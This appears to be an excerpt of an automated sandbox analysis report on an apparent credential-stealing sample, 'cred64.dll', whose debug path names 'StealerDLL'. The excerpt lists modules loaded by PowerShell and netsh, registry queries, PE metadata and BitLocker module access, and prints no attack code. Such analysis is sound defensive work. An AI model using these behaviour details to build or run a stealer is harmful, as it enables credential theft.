Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll

Source: C:\Windows\System32\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office

Jump to behavior

Source: cred64.dll.dll

Static PE information: Image base 0x180000000 > 0x60000000

Source: cred64.dll.dll

Static file information: File size 1281024 > 1048576

Source: cred64.dll.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: cred64.dll.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: cred64.dll.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: cred64.dll.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: cred64.dll.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: cred64.dll.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: cred64.dll.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source: cred64.dll.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: ws\dll\mscorlib.pdb source: powershell.exe, 0000000E.00000002.1476961727.000002C936CA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000E.00000002.1355416212.000002C91CA5D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdbpdblib.pdb}k source: powershell.exe, 00000016.00000002.1568675841.00000191CB620000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: *on.pdbVu+ source: powershell.exe, 00000016.00000002.1570208304.00000191CB850000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000016.00000002.1572082555.00000191CB8F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: lambda_methodb.pdb source: powershell.exe, 0000000E.00000002.1356517077.000002C91E9BC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb1f source: powershell.exe, 00000016.00000002.1572082555.00000191CB91E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdbA- source: powershell.exe, 0000000E.00000002.1476961727.000002C936CA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000016.00000002.1573769341.00000191CB97E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: lib.pdb source: powershell.exe, 0000000E.00000002.1476961727.000002C936CA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: scorlib.pdb source: powershell.exe, 00000016.00000002.1568675841.00000191CB620000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbtti source: powershell.exe, 0000000E.00000002.1472153187.000002C936BF1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbllH source: powershell.exe, 0000000E.00000002.1472153187.000002C936BF1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbCLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000016.00000002.1572082555.00000191CB91E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000016.00000002.1572082555.00000191CB8F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000016.00000002.1572082555.00000191CB91E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000016.00000002.1570208304.00000191CB850000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Mktmp\StealerDLL\x64\Release\STEALERDLL.pdb source: cred64.dll.dll
Source:	Binary string: rlib.pdb source: powershell.exe, 00000016.00000002.1572082555.00000191CB8F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000016.00000002.1572082555.00000191CB8F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdberShell.Commands.Utility.pdb source: powershell.exe, 0000000E.00000002.1476961727.000002C936CA0000.00000004.00000020.00020000.00000000.sdmp

Source: cred64.dll.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: cred64.dll.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: cred64.dll.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: cred64.dll.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: cred64.dll.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: cred64.dll.dll

Static PE information: section name: _RDATA

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF7BFC700BD pushad ; iretd	14_2_00007FF7BFC700C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF7BFC79A10 push ds; iretd	14_2_00007FF7BFC79A11
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF7BFD480ED pushad ; retf	14_2_00007FF7BFD48111
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF7BFD47570 pushad ; iretd	14_2_00007FF7BFD47571
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF7BFD4B31B push eax; ret	14_2_00007FF7BFD4B551
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF7BFD4C2E4 pushfd ; retn 0000h	14_2_00007FF7BFD4C2E5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FF7BFD4C2E0 pushfd ; retn 0000h	14_2_00007FF7BFD4C2E1

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
